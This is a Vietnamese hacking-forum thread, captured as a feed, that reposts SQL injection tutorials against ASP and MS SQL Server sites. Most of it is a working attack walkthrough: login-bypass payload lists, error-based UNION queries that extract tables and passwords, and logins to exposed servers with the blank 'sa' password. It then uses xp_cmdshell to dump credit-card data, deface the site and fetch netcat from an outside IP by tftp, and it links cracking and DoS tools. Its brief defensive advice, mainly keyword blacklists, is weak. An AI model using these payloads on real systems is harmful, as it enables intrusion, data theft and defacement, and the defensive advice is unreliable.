<![CDATA[Latest posts for the topic "SQL Injection Tutorial - Sưu tầm của HVA cũ"]]> /hvaonline/posts/list/12.html JForum - http://www.jforum.net SQL Injection Tutorial - Sưu tầm của HVA cũ
File logincheck.asp nằm trên server dùng để kiểm tra thông tin do user nhập vào có nội dung: logincheck.asp <@language="vbscript"> <% dim conn,rs,log,pwd log=Request.form("login_name") pwd=Request.form("pass") set conn = Server.CreateObject("ADODB.Connection") conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb" conn.Open set rs = Server.CreateObject("ADODB.Recordset") rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn If rs.EOF response.write("Login failed") else response.write("Login successful") End if %> Thoạt tiên đoạn code trên có vẻ ổn. 1 người dùng type username và pass trong trang login.htm và click 'Submit'. Giá trị được type vào sẽ được browser chuyển về cho logincheck.asp kiểm tra bằng cách dùng câu truy vấn "Select * from table1 where login='"&log& "' and password='" &pwd& "' ". Mọi thứ có vẻ OK ? Chuỗi truy vấn cũng OK. Nhưng nếu 1 trang login được làm như thế thì 1 hacker sẽ có thể dễ dàng đăng nhập mà không cần một password hợp lệ nào đó. Nhìn lại chuỗi truy vấn: "Select * from table1 where login='"&log& "' and password='" &pwd& "' " Nếu 1 user type tên đăng nhập là "hack" và mật khẩu là "passne" thì những giá trị này sẽ được chuyển cho trang asp với method "POST" và câu truy vấn trên trở thành: "Select * from table1 where login=' hack' and password=' passne ' " Tốt. Nếu như có 1 dòng chứ login name "hack" và password "passne" trong CSDL thì chúng ta sẽ nhận được thông báo đăng nhập thành công. Nhưng nếu như type loginname là "hack" và password là hi' or 'a'='a' trong phần password ? Câu truy vấn sẽ trở thành: "Select * from table1 where login=' hack' and password=' hi' or 'a'='a ' " Click 'Submit' và Bingo, đăng nhập thành công. Chuỗi truy cập được thoả mãn khi điều kiện là password bằng 'hi' HOẶC 'a'='a'. Điều này luôn đúng và hacker sẽ đăng nhập với nick 'hack'. Có thể thử các chuỗi sau đây trong ô password nếu cách trên không làm được với một số website: hi" or "a"="a hi" or 1=1 -- hi' or 1=1 -- hi' or 'a'='a hi') or ('a'='a hi") or ("a"="a Dấu -- được thêm vào làm cho phần còn lại của chuỗi truy vấn trở thành 'chú thích' nên các điều kiện khác sẽ không bị kiểm tra. Tương tự có thể dùng: hack' -- hack" -- hoặc những username khác và chọn lựa password bất kỳ để có thể đăng nhập được. Bởi vì trong câu truy vấn chỉ có phần username được kiểm tra là 'hack' và phần còn lại bị bỏ đi do có dấu -- . Nếu may mắn gặp được vào những website mà người thiết kế web đã mắc những lỗi trên, và bạn có thể login với bất kỳ username nào. Cách tấn công cao cấp hơn: dùng các thông báo lỗi của ODBC -------------------------------------------------------------- Theo trên ta có thể thấy cách login mà không cần phải biết bất cứ 1 password nào. Dưới đây là cách để đọc toàn bộ CSDL chỉ bằng cách dùng các truy vấn trong URL. Cách này chỉ thực hiện được đối với IIS servers, nghĩa là với các trang asp. Và IIS được sử dụng trong gần 35% các ứng dụng thương mại web. Vì vậy chắc chắn bạn sẽ tìm ra 1 nạn nhân sau khi chỉ search một vài website. Thí dụ như: http://www.nosecurity.com/mypage.asp?id=45 trong URL, dấu '?' cho thấy đằng sau nó, giá trị 45 sẽ được chuyển cho 1 thông số ẩn. Chúng ta hãy xem lại ví dụ trên, trang login.htm có 2 form input dạng text tên là 'login_name' và 'pass', và các giá trị của 2 form này sẽ được chuyển cho logincheck.asp Việc đăng nhập thành công cũng có thể thực hiện bằng cách mở trực tiếp trang logincheck.asp bằng cách dùng link:http://www.nosecurity.com/logincheck.asp?login_name=hack&pass=passne nếu method là GET thay vì POST ( save html lại và sửa POST bằng GET ) Lưu ý: sự khác nhau giữa GET và POST là POST sẽ không hiện ra các giá trị được chuyển sang trang sau trên URL trong khi GET làm hiện lên các giá trị này. Để biết thêm về GET và POST nên đọc thêm RFC 1945 và 2616 trong giao thức HTTP Sau dấu '?' thì các biến được dùng trong trang logincheck.asp sẽ được gán bằng giá trị hacker type vào. Trong URL trên thì login_name sẽ được gán với giá trị hack. Các giá trị khác nhau được ngăn cách bởi dấu '&' Quay trở lại trang index.htm, biến id có thuộc tính ẩn và tuỳ theo những link người dùng click, giá trị của id sẽ thay đổi. Giá trị này sẽ được chuyển vào trong câu truy vấn mypage.asp và user sẽ được trả về trang mình muốn. Ứng với giá trị của 'id' là 46 sẽ có một trang khác. Chúng ta bắt đầu hack: type thêm vào trên URL câu truy vấn sau: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-- information_schema.tables là một table hệ thống chứa thông tin về tất cả table của server. Trong đó có một field table_name chứa tất cả tên của các table. Chuỗi query SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES trả về giá trị là tên của table đầu tiên với kiểu string (nvarchar) trong INFORMATION_SCHEMA.TABLES, và chúng ta lại gộp nó 45 là một giá trị số. Vì vậy server sẽ thông báo lỗi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'logintable' to a column of data type int. /mypage.asp, line Trong thông báo lỗi trên ta nhận được một table là 'logintable'. Table này có thể chứa tên truy cập và password của các user. Tiếp tục type câu lệnh sau lên URL: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable'-- Tương tự table_name, column_name cũng là 1 field trong table hệ thống INFORMATION_SCHEMA.COLUMNS chứa tất cả tên các column. Và ta đang gộp tên của column đầu tiên trong table 'logintable' với giá trị 45, nên sẽ có thông báo lỗi: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Thông báo lỗi cho thấy column đầu tiên trong 'logintable' là 'login_id', để lấy tên của column thứ 2: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int. /index.asp, line 5 Chúng ta có thêm 1 column nữa là 'login_name', tiếp tục lấy column thứ 3 http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='logintable' WHERE COLUMN_NAME NOT IN ('login_id','login_name')-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'passwd' to a column of data type int. /index.asp, line 5 Đây là thông tin ta cần có: password login. Bước kế tiếp là lấy thông tin login và password từ table 'logintable', type; http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 login_name FROM logintable-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'Rahul' to a column of data type int. /index.asp, line 5 Đây rồi: 1 trong những login name là 'Rahul', câu lệnh lấy password của user Rahul sẽ là: http://www.nosecurity.com/mypage.asp?id=45 UNION SELECT TOP 1 password FROM logintable where login_name='Rahul'-- Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'P455w0rd' to a column of data type int. /index.asp, line 5 OK, tên truy cập : Rahul và mật khẩu là p455w0rd. Ta đã crack được CSDL của www.nosecurity.com. Và điều này nhờ vào server đã không lọc dữ liệu truy vấn của người dùng. Lỗi SQL này vẫn còn gặp ở nhiều website, và phương pháp phòng chống tốt nhất là phân tích những request của user và lọc đi các ký tự như ', ", --, : .... Phần 2: dùng cổng 1434 ( cổng giao tiếp SQL ) ------------------------------------------------------ Chúng ta đã thấy cách làm thế nào để xâm nhập vào CSDL bằng cách dùng các malformed URL và chỉ bằng cổng 80 ( cổng http ). Sau đây ta sẽ hack database dùng port 1434. Trước khi hack chúng ta nên biết thật sự các database server là gì và hoạt động như thế nào, cùng với cách khai thác chúng. Những người thiết kết MS SQL tạo ra một số thủ tục mặc định được lưu sẵn chung với sản phẩm của mình để giúp cho webdesigner linh động hơn. Các thủ tục này không có gì khác mà chính là các lớp hàm, được dùng để thực hiện những nhiệm vụ nào đó dựa trên các biến được truyền cho chúng. Chính những thủ tục này rất quan trọng đối với hacker, 1 số trong đó gồm: sp_passsword -> đổi password cho 1 tên truy cập (login name) nào đó VD: EXEC sp_password ‘oldpass’, ‘newpass’, ‘username’ sp_tables -> hiển thị tất cả table trong database hiện tại VD: EXEC sp_tables xp_cmdshell -> cho phép chạy câu lệnh bất kỳ lền server với quyền admin của database ( cái này quan trọng nhất, vì thông thường database được cài mặc định với quyền root ) xp_msver -> hiển thị version của SQL server và tất cả thông tin về HĐH được sử dụng. xp_regdeletekey -> xoá một key trong registry của windows xp_regdeletevalue -> xoá một giá trị trong registry xp_regread -> in 1 giá trị trong registry lên màn hình xp_regwrite -> gán 1 giá trị mới cho 1 key xp_terminate_process -> ngừng một process nào đó Đây là một số các lệnh quan trọng. Thật ra có hơn 50 loại thủ tục như thế. Nếu muốn database được an toàn thì điều nên làm là xoá tất cả những thủ tục đó đi bằng cách mở Master database dùng chương trình MS SQL Server Enterprise Manager. Mở folder Extended Stored Procedures và xoá các thủ tục lưu trong đó bằng cách nhấn chuột phải và chọn delete Lưu ý:"Master" là một database quan trọng của SQLchứa tất cả thông tin về hệ thống như là login name và các thủ tục có sẵn. Nếu 1 hacker xoá master database thì SQL server sẽ bị down vĩnh viễn. Ngoài "Master" db ra còn có "Syslogins" là table hệ thống mặc định chứ tất cả username và password để login vào db ( user của db khác user của ứng dụng web ). Điều nguy hiểm nhất trong MS SQL là MS SQL mặc định có một user là "sa" với password "" ( không có pass ) Tiếp theo là cách hack db. Đầu tiên ta cần tìm ra một server bị lỗi. Download 1 chương trình scan port và scan 1 dãy ip để tìm ip có port 1433 hoặc 1434 ( tcp hay udp ) mở. Đây là port dùng bởi MS SQL server. Ngoài ra port của Oracle server là 1512. VD như chúng ta tìm được một server có ip là 198.188.178.1, có rất nhiều cách để dùng các dịch vụ của SQL như là dùng telnet hoặc netcat tới port 1433/1434. Ngoài ra có thể dùng một tool tên là osql.exe được kèm theo với các SQL server 2000. Mở DOS prompt và type vào: C:>osql.exe -? osql: unknown option ? usage: osql [-U login id] [-P password] [-S server] [-H hostname] [-E trusted connection] [-d use database name] [-l login timeout] [-t query timeout] [-h headers] [-s colseparator] [-w columnwidth] [-a packetsize] [-e echo input] [-I Enable Quoted Identifiers] [-L list servers] [-c cmdend] [-q "cmdline query"] [-Q "cmdline query" and exit] [-n remove numbering] [-m errorlevel] [-r msgs to stderr] [-V severitylevel] [-i inputfile] [-o outputfile] [-p print statistics] [-b On error batch abort] [-O use Old ISQL behavior disables the following] batch processing Auto console width scaling Wide messages default errorlevel is -1 vs 1 [-? show syntax summary] Đây là help file cho osql. Tiếp tục: C:\> osql.exe –S 198.188.178.1 –U sa –P “” Nếu chung ta nhận được dấu nhắc 1> có nghĩa là login thành công, nếu không sẽ có thông báo lỗi login sai đối với user "sa" Tới đây nếu ta muốn chạy bất kỳ câu lệnh nào đó lên server, chỉ cần dùng thủ tục "xp_cmdshell" như sau: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘dir >dir.txt’” Tôi khuyến khích việc dùng -Q thay vì -q bởi vì chúng ta sẽ exit khỏi server ngay sau khi câu lệnh được thực hiện. Tương tự ta có thể chạy bất cứ một câu lệnh nào lên server. Một hacker thông minh còn có thể install backdoor nhằm để tiếp tục access vào server sau này. Ta cũng có thể dùng “information_schema.tables” để lấy list các tables và nội dung của chúng bằng cách: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from information_schema.tables” Kiếm thông tin login trong các table như login, accounts, users ... C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select * from users” và lấy thông tin về username cùng với credit card. C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “select username, creditcard, expdate from users” Output: Username creditcard expdate ----------- ------------ ---------- Jack 5935023473209871 2004-10-03 00:00:00.000 Jill 5839203921948323 2004-07-02 00:00:00.000 Micheal 5732009850338493 2004-08-07 00:00:00.000 Ronak 5738203981300410 2004-03-02 00:00:00.000 Có thể deface website bằng cách chạy lệnh sau ( chỉ trong trường hợp database server được install chung với webserver ) C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘echo defaced by hack> C:\inetpub\wwwroot\index.html’” Upload file lên server dùng tftp: C:\> osql.exe –S 198.188.178.1 –U sa –P “” –Q “exec master..xp_cmdshell ‘tftp 203.192.16.12 GET nc.exe c:\nc.exe’” Để download một file nào đó ta có thể dùng lệnh PUT thay vì GET, bởi vì các câu lệnh này sẽ được thực hiện trên server chứ không fải ở máy chúng ta. Nếu ta dùng GET, câu lệnh sẽ thực hiện trên server và sẽ download nc.exe từ máy của chúng ta tới server. Tools dùng hack các SQL pass có rất nhiều trên web. Ngay cả lỗi tràn bộ đệm cũng có thể được dùng để điêu khiển hoàn toàn một hệ thống với quyền admin. Bài viết này chỉ đề cập một số vấn đề tổng quát về db server. • Remember the Sapphire worm? Which was released on 25th Jan. The worm which exploited three known vulnerabilities in the SQL servers using 1433/1434 UDP ports. Phương pháp phòng chống --------------------------- <*> Đổi password mặc định của user "sa" <*> Xoá tất cả các thủ tục được mặc định lưu trữ trên server <*> Lọc những ký tự như ',",--,: ... <*> Update SQL với những bản mới nhất <*> Khoá các port SQL bằng cách dùng firewall Một số website về SQL security" http://sqlsecurity.com http://www.cert.com Any comments and good criticism is always accepted at guatehack@linuxmail.org [End of Original Message] 1. Một số password default cho các super-user: Oracle sys: oracle mySQL (Windows) root:null MS SQL Server sa:null DB2 dlfm:ibmdb2 2. Collection các tool dùng cho SQL: SQLTools.zip ---------> www.lebuudan.net/SQLTools.zip Bao gồm: SQLcracker + passlist + userlist SQLdos.exe SQLscanner.exe SQLping.exe and more. 3.OSQL.exe nằm trong bộ MSDE của microsoft, nhưng tới 64Mb lận, có ai cần thì tui upload lên. Hông thì thui, host nhỏ xíu hà. 4. ebook/text : ebook: http://www.hackersplayground.org/books.html text: http://www.hackersplayground.org/papers.html SQLinjection: http://www.hackersplayground.org/papers.html Chúc khai thác vui vẻ ! ]]>
/hvaonline/posts/list/382.html#910 /hvaonline/posts/list/382.html#910 GMT
Re: SQL Injection Tutorial - Sưu tầm của HVA cũ Username: Password: Khi users nhấn nút Submit, website lập tức chuyển data đến files login.asp qua hàm Request.Form . Sau đó , 1 câu SQL sẽ được thực hiện để xác định danh tính user này. Chúng ta có thể tạo 1 files login.asp như sau: CODE <% dim userName, password, query dim conn, rS userName = Request.Form("userName") password = Request.Form("password") set conn = server.createObject("ADODB.Connection") set rs = server.createObject("ADODB.Recordset") query = "select * from users where userName='" & userName & "' and userPass='" & password & "'" conn.Open "Provider=SQLOLEDB; Data Source=(local); Initial Catalog=myDB; User Id=sa; Password=" rs.activeConnection = conn rs.open query if not rs.eof then response.write "Logged In" else response.write "Bad Credentials" end if %> Và sau đó , hãy tạo 1 database mẫu như sau: CODE create database myDB go use myDB go create table users ( userId int identity(1,1) not null, userName varchar(50) not null, userPass varchar(20) not null ) insert into users(userName, userPass) values('admin', 'wwz04ff') insert into users(userName, userPass) values('john', 'doe') insert into users(userName, userPass) values('fsmith', 'mypassword') Nào , bây giờ nếu chúng ta nhập vào user:john và password:doe , thì câu SQL sẽ như thế này: CODE select count(*) from users where userName='john' and userPass='doe' Boom, chúng ta login được vào trong vì câu query hoàn toàn đúng và User John cùng với password là hiện hữu. Hãy dừng lại 1 chút ở đây , bạn hãy xem kỹ có phải bạn cũng đã làm như vậy đối với website của bạn và nó...không có lỗi. Nếu bạn trả lời là đúng , hãy đọc tiếp...Điều gì xảy ra nếu Hackers điền vào form như thế này: User:john password:' or 1=1 -- Câu query trở thành CODE select * from users where userName='john' and userPass='' or 1=1 --' Ms.SQL qui định tất cả những gì theo sau "--" đều là câu chú thích (Giống như dấu // trong C++) , do đó câu query bây giờ sẽ: 1. Kiểm tra xem có username là john hay không ? --> Có 2. Kiểm tra xem 1 = 1 đúng hay không ? --> Đúng 3. Sau -- là chú thích , không quan tâm. --> Đúng Vì cả 3 điều kiện đều là đúng nên bạn sẽ login được vào tài khoản của john một cách dễ dàng mà không cần biết password của anh ta. 2 dấu -- để ở cuối câu SQL dùng để loại bỏ thông báo lỗi của MS.SQL vì còn 1 dấu ngoặc đơn (quote) của câu SQL chính thức. Nào , bây giờ xem chúng ta có thể khai thác được gì nhiều hơn từ "chiêu" đơn giản này ? Bạn hãy nhìn lên Table Users mà bạn vừa tạo lúc nãy. Trong hầu hết các hệ thống , users cấp cao nhất (Administrator) thường là user được tạo ra đầu tiên và một biện pháp an toàn cơ bản là không bao giờ lấy tên User là Administrator , nhưng có hề gì nếu ta nhập vào: Username: ' or 1=1 --- Password: [Bất cứ cái gì] Câu SQL trở thành CODE select * from users where userName='' or 1=1 --' and userPass='' Và boom , bạn đã trở thành Administrator và có mọi quyền hành để điều khiển website. Việc nhập vào form của 1 website để khai thác lỗi SQL Injection là cách thường thấy nhất. Phần sau tôi sẽ hướng dẫn bạn 1 số cách khắc phục , nhưng trước hết chúng ta hãy xem thêm 1 vài ví dụ về khai thác lỗi SQL Injection ]]> /hvaonline/posts/list/382.html#911 /hvaonline/posts/list/382.html#911 GMT SQL Injection Tutorial - Sưu tầm của HVA cũ Sau đó chúng ta nhập vào dòng URL của Browser http://www.mysite.com/products.asp?productId=0%20having%201=1 Ngay lập tức, trình duyệt sẽ báo lỗi như sau Microsoft OLE DB Provider for SQL Server (0x80040E14) Column 'products.prodName' is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. /products.asp, line 13 Cũng như ví dụ trên, 2 thông tin mà chúng ta khai thác được là Table products và Field prodName . Tiếp theo , với những thông tin đã biết được , ta tiếp tục đánh vào http://www.mysite.com/products.asp?productId=0;insert%20into%20products (prodName)%20values(left(@@version,50)) Câu URL trên đã chạy lệnh INSERT và thêm vào 1 row mới trong database, tại field prodName là 50 chữ cái thông tin về phiên bản Ms.SQL đang chạy tại server (Do biến @@version tạo ra). Vấn đề còn lại là lấy field đó ra trở lại http://www.mysite.com/products.asp?productId=(select%20max(id) %20from%20products) Max(id) để bảo đảm lấy được hàng cuối cùng chứa thông tin mà chúng ta vừa thêm vào. Hãy xem bạn đã lấy được gì Got product Microsoft SQL Server 2000 - 8.00.534 (Intel X86) Đây là 1 thông tin vô cùng quí giá, nó cho phép Hackers tiếp theo lợi dụng những lổ hổng Security Bugs từ phiên bản này để tiếp tục tấn công và chiếm toàn quyền điều khiển server. ]]> /hvaonline/posts/list/382.html#913 /hvaonline/posts/list/382.html#913 GMT SQL Injection Tutorial - Sưu tầm của HVA cũ Thì câu Injection từ CODE select count(*) from users where userName='john' and userPass='' or 1=1 --' Trở thành CODE select count(*) from users where userName='john'' and userPass=''' or 1=1 --' Và câu SQL trên trở nên vô nghĩa. * Cấm những từ "nhạy cảm": Thông qua 1 số ví dụ trên , chúng ta dễ dàng nhận ra những từ nhạy cảm của SQL là ;, --, select, insert và xp_ . Bằng cách tạo ra 1 hàm để loại bỏ những từ trên: CODE <% function killChars(strWords) dim badChars dim newChars badChars = array("select", "drop", ";", "--", "insert", "delete", "xp_") newChars = strWords for i = 0 to uBound(badChars) newChars = replace(newChars, badChars(i), "") next killChars = newChars end function %> Sử dụng kết hợp giữa stripQuotes và killChars để loại bỏ những từ "nhạy cảm" 1 cách triệt để , hãy xem nếu câu SQL Injection có dạng : CODE select prodName from products where id=1; xp_cmdshell 'format c: /q /yes '; drop database myDB; -- Sẽ trở thành: CODE prodName from products where id=1 cmdshell ''format c: /q /yes '' database myDB Và hoàn toàn vô nghĩa. * Giới hạn những gì họ nói: Bằng cách giới hạn những Textbox và input càng ngắn càng tốt , bạn sẽ giảm thiểu nguy cơ tối đa bị tấn công bằng Injection. Ngoài ra phải kiểm tra những input có dạng số (VD như Product=1) bằng hàm IsNumeric().. Kết luận: Những ví dụ trên này chỉ giúp bạn hình dung về SQL Injection và suy nghĩ như Hackers. Thật không thể nào bảo đảm được rằng có 1 cách nào đó có thể chống lại lỗi này và tự bạn phải liên tưởng ra các tình huống cụ thể để bảo vệ server của bạn. Mặc dù trên đây chúng ta chỉ đưa ra ví dụ với Mircosoft SQL Server , nhưng lỗi SQL Injection xuất hiện trong tất cả các phiên bản của SQL như MySQL , Oracle... và không thể sửa chữa bởi nhà cung cấp vì đó là lỗi sơ xuất của người lập trình web. Những kiến thức, ví dụ trên đây chỉ nhằm mục đích học tập, bạn không được sử dụng chúng để phá hoại. Chúng tôi không chịu trách nhiệm về bất cứ hành vi nào do người đọc bài viết này gây ra. ]]> /hvaonline/posts/list/382.html#914 /hvaonline/posts/list/382.html#914 GMT